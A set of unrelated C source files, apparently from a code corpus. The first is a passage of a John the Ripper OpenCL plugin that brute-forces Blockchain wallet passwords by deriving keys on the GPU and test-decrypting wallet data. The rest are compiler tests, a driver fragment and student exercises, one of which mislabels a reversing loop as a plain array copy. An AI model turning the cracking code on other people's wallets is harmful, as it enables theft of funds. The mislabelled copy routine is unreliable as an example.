HANDLE_CLERROR(cl_error, "Error allocating mem in");
mem_setting =
clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, settingsize,
NULL, &cl_error);
HANDLE_CLERROR(cl_error, "Error allocating mem setting");
mem_out =
clCreateBuffer(context[gpu_id], CL_MEM_WRITE_ONLY, outsize, NULL,
&cl_error);
HANDLE_CLERROR(cl_error, "Error allocating mem out");
HANDLE_CLERROR(clSetKernelArg(crypt_kernel, 0, sizeof(mem_in),
&mem_in), "Error while setting mem_in kernel argument");
HANDLE_CLERROR(clSetKernelArg(crypt_kernel, 1, sizeof(mem_out),
&mem_out), "Error while setting mem_out kernel argument");
HANDLE_CLERROR(clSetKernelArg(crypt_kernel, 2, sizeof(mem_setting),
&mem_setting), "Error while setting mem_salt kernel argument");
}
static void release_clobj(void)
{
if (cracked) {
HANDLE_CLERROR(clReleaseMemObject(mem_in), "Release mem in");
HANDLE_CLERROR(clReleaseMemObject(mem_setting), "Release mem setting");
HANDLE_CLERROR(clReleaseMemObject(mem_out), "Release mem out");
MEM_FREE(inbuffer);
MEM_FREE(outbuffer);
MEM_FREE(cracked);
}
}
static void done(void)
{
if (autotuned) {
release_clobj();
HANDLE_CLERROR(clReleaseKernel(crypt_kernel), "Release kernel");
HANDLE_CLERROR(clReleaseProgram(program[gpu_id]), "Release Program");
autotuned--;
}
}
static void init(struct fmt_main *_self)
{
self = _self;
opencl_prepare_dev(gpu_id);
}
static void reset(struct db_main *db)
{
if (!autotuned) {
char build_opts[64];
snprintf(build_opts, sizeof(build_opts),
"-DKEYLEN=%d -DSALTLEN=%d -DOUTLEN=%d",
PLAINTEXT_LENGTH,
(int)sizeof(currentsalt.salt),
(int)sizeof(outbuffer->v));
opencl_init("$JOHN/kernels/pbkdf2_hmac_sha1_unsplit_kernel.cl",
gpu_id, build_opts);
crypt_kernel = clCreateKernel(program[gpu_id], "derive_key", &cl_error);
HANDLE_CLERROR(cl_error, "Error creating kernel");
// Initialize openCL tuning (library) for this format.
opencl_init_auto_setup(SEED, 0, NULL, warn, 1, self,
create_clobj, release_clobj,
sizeof(blockchain_password), 0, db);
// Auto tune execution from shared/included code.
autotune_run(self, 1, 0, 1000);
}
}
static int valid(char *ciphertext, struct fmt_main *self)
{
char *ctcopy, *keeptr, *p;
int len;
if (strncmp(ciphertext, FORMAT_TAG, TAG_LENGTH) != 0)
return 0;
/* handle 'chopped' .pot lines */
if (ldr_isa_pot_source(ciphertext))
return 1;
ctcopy = strdup(ciphertext);
keeptr = ctcopy;
ctcopy += TAG_LENGTH;
if ((p = strtokm(ctcopy, "$")) == NULL)
goto err;
if (!strcmp(p, "v2")) {
if ((p = strtokm(NULL, "$")) == NULL)
goto err;
if (!isdec(p))
goto err;
if ((p = strtokm(NULL, "$")) == NULL)
goto err;
}
if (!isdec(p))
goto err;
len = atoi(p);
if(len > BIG_ENOUGH || !len)
goto err;
if ((p = strtokm(NULL, "$")) == NULL)
goto err;
if (hexlenl(p) != len * 2)
goto err;
MEM_FREE(keeptr);
return 1;
err:
MEM_FREE(keeptr);
return 0;
}
static void *get_salt(char *ciphertext)
{
char *ctcopy = strdup(ciphertext);
char *keeptr = ctcopy;
int i;
char *p;
static union {
struct custom_salt _cs;
ARCH_WORD_32 dummy;
} un;
struct custom_salt *cs = &(un._cs);
memset(&un, 0, sizeof(un));
ctcopy += TAG_LENGTH;
p = strtokm(ctcopy, "$");
if (!strcmp(p, "v2")) {
p = strtokm(NULL, "$");
cs->iter = atoi(p);
p = strtokm(NULL, "$");
} else
cs->iter = 10;
cs->length = atoi(p);
p = strtokm(NULL, "$");
for (i = 0; i < cs->length; i++)
cs->data[i] = atoi16[ARCH_INDEX(p[i * 2])] * 16
+ atoi16[ARCH_INDEX(p[i * 2 + 1])];
MEM_FREE(keeptr);
return (void *)cs;
}
static void set_salt(void *salt)
{
cur_salt = (struct custom_salt *)salt;
memcpy((char*)currentsalt.salt, cur_salt->data, 16);
currentsalt.length = 16;
currentsalt.iterations = cur_salt->iter;
currentsalt.outlen = 32;
currentsalt.skip_bytes = 0;
HANDLE_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], mem_setting,
CL_FALSE, 0, settingsize, ¤tsalt, 0, NULL, NULL),
"Copy salt to gpu");
}
#undef set_key
static void set_key(char *key, int index)
{
uint8_t length = strlen(key);
if (length > PLAINTEXT_LENGTH)
length = PLAINTEXT_LENGTH;
inbuffer[index].length = length;
memcpy(inbuffer[index].v, key, length);
}
static char *get_key(int index)
{
static char ret[PLAINTEXT_LENGTH + 1];
uint8_t length = inbuffer[index].length;
memcpy(ret, inbuffer[index].v, length);
ret[length] = '\0';
return ret;
}
static int blockchain_decrypt(unsigned char *derived_key, unsigned char *data)
{
unsigned char out[SAFETY_FACTOR];
AES_KEY akey;
unsigned char iv[16];
memcpy(iv, cur_salt->data, 16);
if(AES_set_decrypt_key(derived_key, 256, &akey) < 0) {
fprintf(stderr, "AES_set_decrypt_key failed in crypt!\n");
}
AES_cbc_encrypt(data + 16, out, 16, &akey, iv, AES_DECRYPT);
/* various tests */
if (out[0] != '{') // fast test
return -1;
// "guid" will be found in the first block
if (memmem(out, 16, "\"guid\"", 6)) {
memcpy(iv, cur_salt->data, 16); //IV has to be reset.
AES_cbc_encrypt(data + 16, out, SAFETY_FACTOR, &akey, iv, AES_DECRYPT);
if (memmem(out, SAFETY_FACTOR, "\"sharedKey\"", 11) &&
memmem(out, SAFETY_FACTOR, "\"options\"", 9))
// Note, we 'could' check that the guid and sharedKey values are
// 'valid' GUID's, but there really is no point. We already have
// 2^216 confidence in the simple text strings being found.
return 0;
}
return -1;
}
static int crypt_all(int *pcount, struct db_salt *salt)
{
const int count = *pcount;
int index;
size_t *lws = local_work_size ? &local_work_size : NULL;
global_work_size = GET_MULTIPLE_OR_BIGGER(count, local_work_size);
if (any_cracked) {
memset(cracked, 0, cracked_size);
any_cracked = 0;
}
/// Copy data to gpu
BENCH_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], mem_in, CL_FALSE, 0,
insize, inbuffer, 0, NULL, multi_profilingEvent[0]),
"Copy data to gpu");
/// Run kernel
BENCH_CLERROR(clEnqueueNDRangeKernel(queue[gpu_id], crypt_kernel, 1,
NULL, &global_work_size, lws, 0, NULL,
multi_profilingEvent[1]), "Run kernel");
/// Read the result back
BENCH_CLERROR(clEnqueueReadBuffer(queue[gpu_id], mem_out, CL_TRUE, 0,
outsize, outbuffer, 0, NULL, multi_profilingEvent[2]), "Copy result back");
if (ocl_autotune_running)
return count;
#ifdef _OPENMP
#pragma omp parallel for
#endif
for (index = 0; index < count; index++)
if (!blockchain_decrypt((unsigned char*)outbuffer[index].v, cur_salt->data))
{
cracked[index] = 1;
#ifdef _OPENMP
#pragma omp atomic
#endif
any_cracked |= 1;
}
return count;
}
static int cmp_all(void *binary, int count)
{
return any_cracked;
}
static int cmp_one(void *binary, int index)
{
return cracked[index];
}
static int cmp_exact(char *source, int index)
{
return 1;
}
struct fmt_main fmt_opencl_blockchain = {
{
FORMAT_LABEL,
FORMAT_NAME,
ALGORITHM_NAME,
BENCHMARK_COMMENT,
BENCHMARK_LENGTH,
0,
PLAINTEXT_LENGTH,
BINARY_SIZE,
BINARY_ALIGN,
SALT_SIZE,
SALT_ALIGN,
MIN_KEYS_PER_CRYPT,
MAX_KEYS_PER_CRYPT,
FMT_CASE | FMT_8_BIT | FMT_OMP,
{ NULL },
blockchain_tests
}, {
init,
done,
reset,
fmt_default_prepare,
valid,
fmt_default_split,
fmt_default_binary,
get_salt,
{ NULL },
fmt_default_source,
{
fmt_default_binary_hash
},
fmt_default_salt_hash,
NULL,
set_salt,
set_key,
get_key,
fmt_default_clear_keys,
crypt_all,
{
fmt_default_get_hash
},
cmp_all,
cmp_one,
cmp_exact
}
};
#endif /* plugin stanza */
#endif /* HAVE_OPENCL */
|
the_stack_data/47170.c
|
/*
* Copyright (C) 2007, Andrew Butcher
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*
* $Revision: 823 $
* $Date: 2008-09-14 14:23:43 -0600 (Sun, 14 Sep 2008) $
* $Author: [email protected] $
* $HeadURL: http://rl-glue.googlecode.com/svn/trunk/src/RL_direct_experiment.c $
*
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
int rlDidExperimentConnect()
{
return 1;
}
void rlSetExperimentConnection(int connection)
{
}
void rlCloseExperimentConnection()
{
}
|
the_stack_data/187642457.c
|
#include <stdio.h>
/**
* Afisati adresele elementelor din vectorul "v" impreuna cu valorile
* de la acestea.
* Parcurgeti adresele, pe rand, din octet in octet,
* din 2 in 2 octeti si apoi din 4 in 4.
*/
int main() {
int v[] = {0xCAFEBABE, 0xDEADBEEF, 0x0B00B135, 0xBAADF00D, 0xDEADC0DE};
return 0;
}
|
the_stack_data/126702595.c
|
#include <stdio.h>
//指针
//*只有在定义的时候，表示定义一个指针，将来会存放地址类型
//而在用的过程中，就表示解引用运算符了
//小心空指针：segmentation fault
void f(int *p);
void g(int k);
int main(void)
{
int i = 6;
printf("&i = %p\n", &i); //地址值
f(&i);
g(i);
//g(&i); //note: expected 'int' but argument is of type 'int *'
return 0;
}
void f(int *p)
{
printf("p = %p\n", p); //地址值
printf("*p = %d\n", *p); //6
*p = 26;
}
void g(int k)
{
printf("k = %d\n", k); //26
}
|
the_stack_data/90761815.c
|
/* bf-ms-layout.c */
/* Test for MS bitfield layout */
/* Adapted from Donn Terry <[email protected]> testcase
posted to GCC-patches
http://gcc.gnu.org/ml/gcc-patches/2000-08/msg00577.html */
/* { dg-do run { target *-*-mingw* *-*-cygwin* i?86-*-darwin* } } */
/* { dg-options "-D_TEST_MS_LAYOUT" } */
/* This test uses the attribute instead of the command line option. */
#include <stddef.h>
#include <string.h>
extern void abort();
#pragma pack(8)
#ifdef __GNUC__
#define ATTR __attribute__ ((ms_struct))
#endif
struct one {
int d;
unsigned char a;
unsigned short b:7;
char c;
} ATTR;
struct two {
int d;
unsigned char a;
unsigned int b:7;
char c;
} ATTR;
struct three {
short d;
unsigned short a:3;
unsigned short b:9;
unsigned char c:7;
} ATTR;
/* Bitfields of size 0 have some truly odd behaviors. */
struct four {
unsigned short a:3;
unsigned short b:9;
unsigned int :0; /* forces struct alignment to int */
unsigned char c:7;
} ATTR;
struct five {
char a;
int :0; /* ignored; prior field is not a bitfield. */
char b;
char c;
} ATTR;
struct six {
char a :8;
int :0; /* not ignored; prior field IS a bitfield, causes
struct alignment as well. */
char b;
char c;
} ATTR;
struct seven {
char a:8;
char :0;
int :0; /* Ignored; prior field is zero size bitfield. */
char b;
char c;
} ATTR;
struct eight { /* ms size 4 */
short b:3;
char c;
} ATTR;
#ifdef _MSC_VER
#define LONGLONG __int64
#else
#define LONGLONG long long
#endif
union nine { /* ms size 8 */
LONGLONG a:3;
char c;
} ATTR;
struct ten { /* ms size 16 */
LONGLONG a:3;
LONGLONG b:3;
char c;
} ATTR;
#define val(s,f) (s.f)
#define check_struct(_X) \
{ \
if (sizeof (struct _X) != exp_sizeof_##_X ) \
abort(); \
memcpy(&test_##_X, filler, sizeof(test_##_X));\
if (val(test_##_X,c) != exp_##_X##_c) \
abort(); \
}
#define check_union(_X) \
{ \
if (sizeof (union _X) != exp_sizeof_##_X ) \
abort(); \
memcpy(&test_##_X, filler, sizeof(test_##_X));\
if (val(test_##_X,c) != exp_##_X##_c) \
abort(); \
}
#define check_struct_size(_X) \
{ \
if (sizeof (struct _X) != exp_sizeof_##_X ) \
abort(); \
}
#define check_struct_off(_X) \
{ \
memcpy(&test_##_X, filler, sizeof(test_##_X));\
if (val(test_##_X,c) != exp_##_X##_c) \
abort(); \
}
#define check_union_size(_X) \
{ \
if (sizeof (union _X) != exp_sizeof_##_X ) \
abort(); \
}
#define check_union_off(_X) \
{ \
memcpy(&test_##_X, filler, sizeof(test_##_X));\
if (val(test_##_X,c) != exp_##_X##_c) \
abort(); \
}
int main(){
unsigned char filler[16];
struct one test_one;
struct two test_two;
struct three test_three;
struct four test_four;
struct five test_five;
struct six test_six;
struct seven test_seven;
struct eight test_eight;
union nine test_nine;
struct ten test_ten;
#if defined (_TEST_MS_LAYOUT) || defined (_MSC_VER)
size_t exp_sizeof_one = 8;
size_t exp_sizeof_two = 12;
size_t exp_sizeof_three =6;
size_t exp_sizeof_four = 8;
size_t exp_sizeof_five = 3;
size_t exp_sizeof_six = 8;
size_t exp_sizeof_seven = 3;
size_t exp_sizeof_eight = 2;
size_t exp_sizeof_nine = 8;
size_t exp_sizeof_ten = 8;
unsigned char exp_one_c = 7;
unsigned char exp_two_c = 9;
unsigned char exp_three_c = 4;
unsigned char exp_four_c = 4;
char exp_five_c = 2;
char exp_six_c = 5;
char exp_seven_c = 2;
char exp_eight_c = 1;
char exp_nine_c = 0;
char exp_ten_c = 1;
#else /* testing -mno-ms-bitfields */
size_t exp_sizeof_one = 8;
size_t exp_sizeof_two = 8;
size_t exp_sizeof_three = 6;
size_t exp_sizeof_four = 6;
size_t exp_sizeof_five = 6;
size_t exp_sizeof_six = 6;
size_t exp_sizeof_seven = 6;
size_t exp_sizeof_eight = 2;
size_t exp_sizeof_nine = 8;
size_t exp_sizeof_ten = 8;
unsigned short exp_one_c = 6;
unsigned int exp_two_c = 6;
unsigned char exp_three_c = 64;
unsigned char exp_four_c = 4;
char exp_five_c = 5;
char exp_six_c = 5;
char exp_seven_c = 5;
char exp_eight_c = 1;
char exp_nine_c = 0;
char exp_ten_c = 1;
#endif
unsigned char i;
for ( i = 0; i < 16; i++ )
filler[i] = i;
check_struct_off (one);
check_struct_off (two);
check_struct_off (three);
check_struct_off (four);
check_struct_off (five);
check_struct_off (six);
check_struct_off (seven);
check_struct_off (eight);
check_union_off (nine);
check_struct_off (ten);
check_struct_size (one);
check_struct_size (two);
check_struct_size (three);
check_struct_size (four);
check_struct_size (five);
check_struct_size (six);
check_struct_size (seven);
check_struct_size (eight);
check_union_size (nine);
check_struct_size (ten);
return 0;
};
|
the_stack_data/50136900.c
|
/*
C function to copy all elements of an array into another
array using pointers. The two arrays have the same length and
types.
*/
#include <stdio.h>
#define ArraySize 10
void CopyArray(int *PtrToArr1 , int *PtrToArr2, int length);
int arr1[ArraySize];
int arr2[ArraySize];
void main ()
{
printf("Enter the values of the array \n ");
for (int i = 0 ; i < ArraySize ; i++)
{
printf("%d-Element %d : ",i+1, i);
scanf("%d",&arr1[i]);
printf("\n");
}
printf("The original array : \n");
for (int i = 0 ; i < ArraySize; i++)
{
printf("%d ",arr1[i]);
}
printf("\n////////////////////\n");
///////////////////////////
CopyArray(arr1 , arr2, ArraySize);
////////////////////////////////
printf("The copied array : \n");
for (int i = 0 ; i < ArraySize ; i++)
{
printf("%d ",arr2[i]);
}
}
void CopyArray(int *PtrToArr1 , int *PtrToArr2, int length)
{
for (int i = 0 ; i < length; i++)
PtrToArr2[i]= PtrToArr1[9 - i];
}
|
the_stack_data/231394445.c
|
/* { dg-do compile { target {{ i?86-*-* x86_64-*-* } && lp64 } } } */
/* { dg-options "-O2 -m64 -fdump-tree-ivopts" } */
#define TYPE char*
/* Testing on the given target, only one iv candidate instead of 3. */
void foo (int i_width, TYPE dst, TYPE src1, TYPE src2)
{
int x;
for( x = 0; x < i_width; x++ )
{
*dst++ = ( *src1++ + *src2++ + 1 ) >> 1;
}
}
/* { dg-final { scan-tree-dump-times "ivtmp.\[0-9_\]* = PHI <" 1 "ivopts"} } */
|
the_stack_data/103655.c
|
// RUN: %clang_cc1 -triple x86_64-unknown-unknown -fopenmp -ast-dump %s | FileCheck --match-full-lines -implicit-check-not=openmp_structured_block %s
void test(void) {
#pragma omp sections
{
#pragma omp section
;
}
}
// CHECK: TranslationUnitDecl {{.*}} <<invalid sloc>> <invalid sloc>
// CHECK: `-FunctionDecl {{.*}} <{{.*}}ast-dump-openmp-section.c:3:1, line:9:1> line:3:6 test 'void (void)'
// CHECK-NEXT: `-CompoundStmt {{.*}} <col:17, line:9:1>
// CHECK-NEXT: `-OMPSectionsDirective {{.*}} <line:4:1, col:21>
// CHECK-NEXT: `-CapturedStmt {{.*}} <line:5:3, line:8:3>
// CHECK-NEXT: `-CapturedDecl {{.*}} <<invalid sloc>> <invalid sloc>
// CHECK-NEXT: |-CompoundStmt {{.*}} <line:5:3, line:8:3>
// CHECK-NEXT: | `-OMPSectionDirective {{.*}} <line:6:1, col:20>
// CHECK-NEXT: | `-NullStmt {{.*}} <line:7:5>
// CHECK-NEXT: `-ImplicitParamDecl {{.*}} <line:4:1> col:1 implicit __context 'struct (unnamed at {{.*}}ast-dump-openmp-section.c:4:1) *const restrict'
|
the_stack_data/162642113.c
|
/**
* 3. Store ‘n’ numbers (integers or real) in an array in ascending or descending order.
* Conduct a binary search for a given number and report success or failure in the form of a
* suitable message.
*/
#include<stdio.h>
#include<stdlib.h>
int main()
{
int array_num[50],m, n,number;
printf("\nEnter the array size (n) : ");
scanf("%d",&n); //getting the size of the array
if(n<1)
{
printf("Array size cannot be less than 1!");
}
else
{
printf("Enter the elements of the array (in descending order) : \n");
for(m=0;m<n;m++)
{
printf("Enter the element %d : ",m);
scanf("%d",&array_num[m]); //getting the array elements from the user
}
printf("\nEnter the number to be searched for : ");
scanf("%d",&number); //getting the element to be searched for in the array
int start=0,end =n-1,mid; //variables for binary searching
while (start<=end) //binary searching
{
mid=(start+end)/2;
if(number>array_num[mid])
{
end = mid-1;
}
else if(number==array_num[mid])
{
printf("The element %d is found at index %d!",number,mid);
exit (0);
}
else
{
start=mid+1;
}
}
if(start>end)
{
printf("\nEntered element not found....!");
}
}
return 0;
}
|
the_stack_data/124113.c
|
#include <signal.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/param.h>
static int var = 0;
void sigint(int signo)
{
if (signo == SIGINT)
{
return;
}
}
int main(void)
{
pthread_cond_t cvar = PTHREAD_COND_INITIALIZER;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
signal(SIGINT, sigint);
while (var == 0)
{
puts("Waiting");
pthread_cond_wait(&cvar, &lock);
if (var == 0)
{
puts("Spurious Wakeup");
}
}
}
|
the_stack_data/343407.c
|
/* PR rtl-optimization/78607 */
void
rc (int cx)
{
int mq;
if (mq == 0 && (cx / 0) != 0)
for (;;)
{
}
}
|
the_stack_data/73575033.c
|
#include <stdio.h>
int main() {
int a = 10;
double b = 3.14;
char c = 'k';
void *vp = &a;
printf("Wartosc a: %d \n", *(int *)vp);
vp = &b;
printf("Wartosc b: %.2f \n", *(double *)vp);
vp = &c;
printf("Wartosc c: %c \n", *(char *)vp);
vp = &a;
int *p1 = (int *)vp;
printf("Wartosc a: %d \n", *p1);
vp = &b;
double *p2 = (double *)vp;
printf("Wartosc b: %.2f \n", *p2);
vp = &c;
char *p3 = (char *)vp;
printf("Wartosc c: %c \n", *p3);
vp = p1;
printf("Wartosc a: %d \n", *(int *)vp);
*(int *)vp = *(int *)vp + 10;
printf("Wartosc a: %d \n", *(int *)vp);
return 0;
}
|
the_stack_data/830247.c
|
#include <stdio.h>
int main()
{
int i, j, k, next, prime;
i = 1;
k = 2;
prime = 1;
while (i <= 10)
{
for (j = 2; j < k; j++)
{
if (k % j == 0) prime = 0;
}
next = k + 2;
for (j = 2; j < next; j++) {
if (next % j == 0) prime = 0;
}
if (prime == 0) prime = 1;
else
{
printf("(%d, %d)\n", k, next);
i = i + 1;
}
k = k + 1;
}
return 0;
}
|
the_stack_data/92326171.c
|
void wwghts(float wghts[], int n, float h,
void (*kermom)(double [], double ,int))
{
int j,k;
double wold[5],wnew[5],w[5],hh,hi,c,fac,a,b;
hh=h;
hi=1.0/hh;
for (j=1;j<=n;j++) wghts[j]=0.0;
(*kermom)(wold,0.0,4);
if (n >= 4) {
b=0.0;
for (j=1;j<=n-3;j++) {
c=j-1;
a=b;
b=a+hh;
if (j == n-3) b=(n-1)*hh;
(*kermom)(wnew,b,4);
for (fac=1.0,k=1;k<=4;k++,fac*=hi)
w[k]=(wnew[k]-wold[k])*fac;
wghts[j] += (
((c+1.0)*(c+2.0)*(c+3.0)*w[1]
-(11.0+c*(12.0+c*3.0))*w[2]
+3.0*(c+2.0)*w[3]-w[4])/6.0);
wghts[j+1] += (
(-c*(c+2.0)*(c+3.0)*w[1]
+(6.0+c*(10.0+c*3.0))*w[2]
-(3.0*c+5.0)*w[3]+w[4])*0.5);
wghts[j+2] += (
(c*(c+1.0)*(c+3.0)*w[1]
-(3.0+c*(8.0+c*3.0))*w[2]
+(3.0*c+4.0)*w[3]-w[4])*0.5);
wghts[j+3] += (
(-c*(c+1.0)*(c+2.0)*w[1]
+(2.0+c*(6.0+c*3.0))*w[2]
-3.0*(c+1.0)*w[3]+w[4])/6.0);
for (k=1;k<=4;k++) wold[k]=wnew[k];
}
} else if (n == 3) {
(*kermom)(wnew,hh+hh,3);
w[1]=wnew[1]-wold[1];
w[2]=hi*(wnew[2]-wold[2]);
w[3]=hi*hi*(wnew[3]-wold[3]);
wghts[1]=w[1]-1.5*w[2]+0.5*w[3];
wghts[2]=2.0*w[2]-w[3];
wghts[3]=0.5*(w[3]-w[2]);
} else if (n == 2) {
(*kermom)(wnew,hh,2);
wghts[1]=wnew[1]-wold[1]-(wghts[2]=hi*(wnew[2]-wold[2]));
}
}
/* (C) Copr. 1986-92 Numerical Recipes Software 7&X*. */
|
the_stack_data/90762785.c
|
/*
* display_port.cpp
*
* The display port implementation.
*/
#ifdef FSC_HAVE_DP
#include "display_port_types.h"
#include "display_port.h"
#include "PDTypes.h"
#include "port.h"
#include "vdm.h"
#include "vdm_types.h"
#include "protocol.h"
/* System DP */
#include <linux/device.h>
#include <linux/hrtimer.h>
#include <linux/workqueue.h>
#include <linux/pm_wakeup.h>
#include <linux/err.h>
#include <linux/cpu.h>
#include <linux/delay.h>
#include <linux/hisi/usb/tca.h>
#include <huawei_platform/usb/hw_pd_dev.h>
#include <huawei_platform/log/hw_log.h>
#include <huawei_platform/dp_aux_switch/dp_aux_switch.h>
#define HWLOG_TAG FUSB3601_TAG
HWLOG_REGIST();
#define IN_FUNCTION hwlog_info("%s ++\n", __func__);
#define OUT_FUNCTION hwlog_info("%s --\n", __func__);
static TCPC_MUX_CTRL_TYPE g_mux_type = TCPC_DP;
#ifdef CONFIG_CONTEXTHUB_PD
extern void dp_aux_switch_op(uint32_t value);
extern void dp_aux_uart_switch_enable(void);
extern int pd_dpm_handle_combphy_event(struct pd_dpm_combphy_event event);
extern void pd_dpm_set_last_hpd_status(bool hpd_status);
#endif
void pd_dpm_send_event(enum pd_dpm_cable_event_type event);
#define MODE_DP_SNK 0x1
#define MODE_DP_SRC 0x2
#define MODE_DP_BOTH 0x3
#define MODE_DP_PIN_A 0x01
#define MODE_DP_PIN_B 0x02
#define MODE_DP_PIN_C 0x04
#define MODE_DP_PIN_D 0x08
#define MODE_DP_PIN_E 0x10
#define MODE_DP_PIN_F 0x20
/* *********** */
//TODO: Update DP to use data objects, not U32
void FUSB3601_requestDpStatus(struct Port *port)
{
doDataObject_t svdmh = {0};
FSC_U32 length = 0;
FSC_U32 arr[2] = {0};
doDataObject_t temp[2] = {{0}};
IN_FUNCTION
svdmh.SVDM.SVID = DP_SID;
svdmh.SVDM.VDMType = STRUCTURED_VDM;
svdmh.SVDM.Version = STRUCTURED_VDM_VERSION;
/* saved mode position */
svdmh.SVDM.ObjPos = port->display_port_data_.DpModeEntered & 0x7;
svdmh.SVDM.CommandType = INITIATOR;
svdmh.SVDM.Command = DP_COMMAND_STATUS;
arr[0] = svdmh.object;
length++;
arr[1] = port->display_port_data_.DpStatus.word;
length++;
temp[0].object = arr[0];
temp[1].object = arr[1];
//SendVdmMessageWithTimeout(port, SOP_TYPE_SOP, arr, length,
// port->policy_state_);
port->expecting_vdm_response_ = TRUE;
FUSB3601_ProtocolSendData(port, DMTVendorDefined, length, temp, 0, peSinkSendSoftReset, FALSE, SOP_TYPE_SOP);
}
void FUSB3601_requestDpConfig(struct Port *port)
{
doDataObject_t svdmh = {0};
FSC_U32 length = 0;
FSC_U32 arr[2] = {0};
doDataObject_t temp[2] = {{0}};
IN_FUNCTION
FUSB3601_platform_log(port->port_id_, "FUSB Request DP Config, DPCaps: ", port->display_port_data_.DpCaps.word);
FUSB3601_platform_log(port->port_id_, "FUSB Request DP Config, DpPpStatus", port->display_port_data_.DpPpStatus.word);
/* Huawei Config */
port->display_port_data_.DpPpRequestedConfig.Conf = DP_CONF_UFP_D;
port->display_port_data_.DpPpRequestedConfig.SigConf = DP_CONF_SIG_DP_V1P3;
port->display_port_data_.DpPpRequestedConfig.Rsvd = 0;
port->display_port_data_.DpPpRequestedConfig.DfpPa = 0;
port->display_port_data_.DpPpRequestedConfig.UfpPa = 0;
if (port->display_port_data_.DpPpStatus.MultiFunctionPreferred) {
if (port->display_port_data_.DpCaps.ReceptacleIndication) {
if(port->display_port_data_.DpCaps.UFP_DPinAssignD) {
hwlog_info("Receptacle PinAssignD\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_D;
}
else if(port->display_port_data_.DpCaps.UFP_DPinAssignC) {
hwlog_info("Receptacle PinAssignC\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_C;
}
else if(port->display_port_data_.DpCaps.UFP_DPinAssignE) {
hwlog_info("Receptacle PinAssignE\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_E;
}
else {
hwlog_info("Fail Caps Check\n");
FUSB3601_platform_log(port->port_id_, "FUSB Request DP Config, Fail Caps Check", -1);
return;
}
} else {
if(port->display_port_data_.DpCaps.DFP_DPinAssignD) {
hwlog_info("plug PinAssignD\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_D;
}
else if(port->display_port_data_.DpCaps.DFP_DPinAssignC) {
hwlog_info("plug PinAssignC\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_C;
}
else if(port->display_port_data_.DpCaps.DFP_DPinAssignF) {
hwlog_info("plug PinAssignF\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_F;
}
else if(port->display_port_data_.DpCaps.DFP_DPinAssignE) {
hwlog_info("plug PinAssignE\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_E;
}
else {
hwlog_info("Fail Caps Check\n");
FUSB3601_platform_log(port->port_id_, "FUSB Request DP Config, Fail Caps Check", -1);
return;
}
}
} else {
if (port->display_port_data_.DpCaps.ReceptacleIndication) {
if(port->display_port_data_.DpCaps.UFP_DPinAssignC) {
hwlog_info("Receptacle PinAssignC with MF not preferred\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_C;
} else if(port->display_port_data_.DpCaps.UFP_DPinAssignE) {
hwlog_info("Receptacle PinAssignE with MF not preferred\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_E;
} else {
hwlog_info("Fail Caps Check\n");
FUSB3601_platform_log(port->port_id_, "FUSB Request DP Config, Fail Caps Check", -1);
return;
}
} else {
if(port->display_port_data_.DpCaps.DFP_DPinAssignC) {
hwlog_info("plug PinAssignC with MF not preferred\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_C;
} else if(port->display_port_data_.DpCaps.DFP_DPinAssignE) {
hwlog_info("plug PinAssignE with MF not preferred\n");
port->display_port_data_.DpPpRequestedConfig.DfpPa = DP_DFPPA_E;
} else {
hwlog_info("Fail Caps Check\n");
FUSB3601_platform_log(port->port_id_, "FUSB Request DP Config, Fail Caps Check", -1);
return;
}
}
}
if(port->display_port_data_.DpPpStatus.Connection == DP_CONN_NEITHER) {
hwlog_info("CONN_NEITHER Fail Caps Check\n");
FUSB3601_platform_log(port->port_id_, "FUSB Request DP Config, Fail Status Check", port->display_port_data_.DpPpStatus.word);
return;
}
svdmh.SVDM.SVID = DP_SID;
svdmh.SVDM.VDMType = STRUCTURED_VDM;
svdmh.SVDM.Version = STRUCTURED_VDM_VERSION;
svdmh.SVDM.ObjPos = port->display_port_data_.DpModeEntered & 0x7;
svdmh.SVDM.CommandType = INITIATOR;
svdmh.SVDM.Command = DP_COMMAND_CONFIG;
arr[0] = svdmh.object;
length++;
arr[1] = port->display_port_data_.DpPpRequestedConfig.word;
length++;
temp[0].object = arr[0];
temp[1].object = arr[1];
//SendVdmMessage(port, SOP_TYPE_SOP, arr, length, port->policy_state_);
port->expecting_vdm_response_ = TRUE;
FUSB3601_ProtocolSendData(port, DMTVendorDefined, length, temp, 0, peSinkSendSoftReset, FALSE, SOP_TYPE_SOP);
}
void FUSB3601_WriteDpControls(struct Port *port, FSC_U8* data)
{
FSC_BOOL en = FALSE;
FSC_BOOL ame_en = FALSE;
FSC_U32 m = 0;
FSC_U32 v = 0;
FSC_U32 stat = 0;
IN_FUNCTION
en = *data++ ? TRUE : FALSE;
stat = (FSC_U32)(*data++ );
stat |= ((FSC_U32)(*data++ ) << 8);
stat |= ((FSC_U32)(*data++ ) << 16);
stat |= ((FSC_U32)(*data++ ) << 24);
ame_en = *data++ ? TRUE : FALSE;
m = (FSC_U32)(*data++ );
m |= ((FSC_U32)(*data++ ) << 8);
m |= ((FSC_U32)(*data++ ) << 16);
m |= ((FSC_U32)(*data++ ) << 24);
v = (FSC_U32)(*data++ );
v |= ((FSC_U32)(*data++ ) << 8);
v |= ((FSC_U32)(*data++ ) << 16);
v |= ((FSC_U32)(*data++ ) << 24);
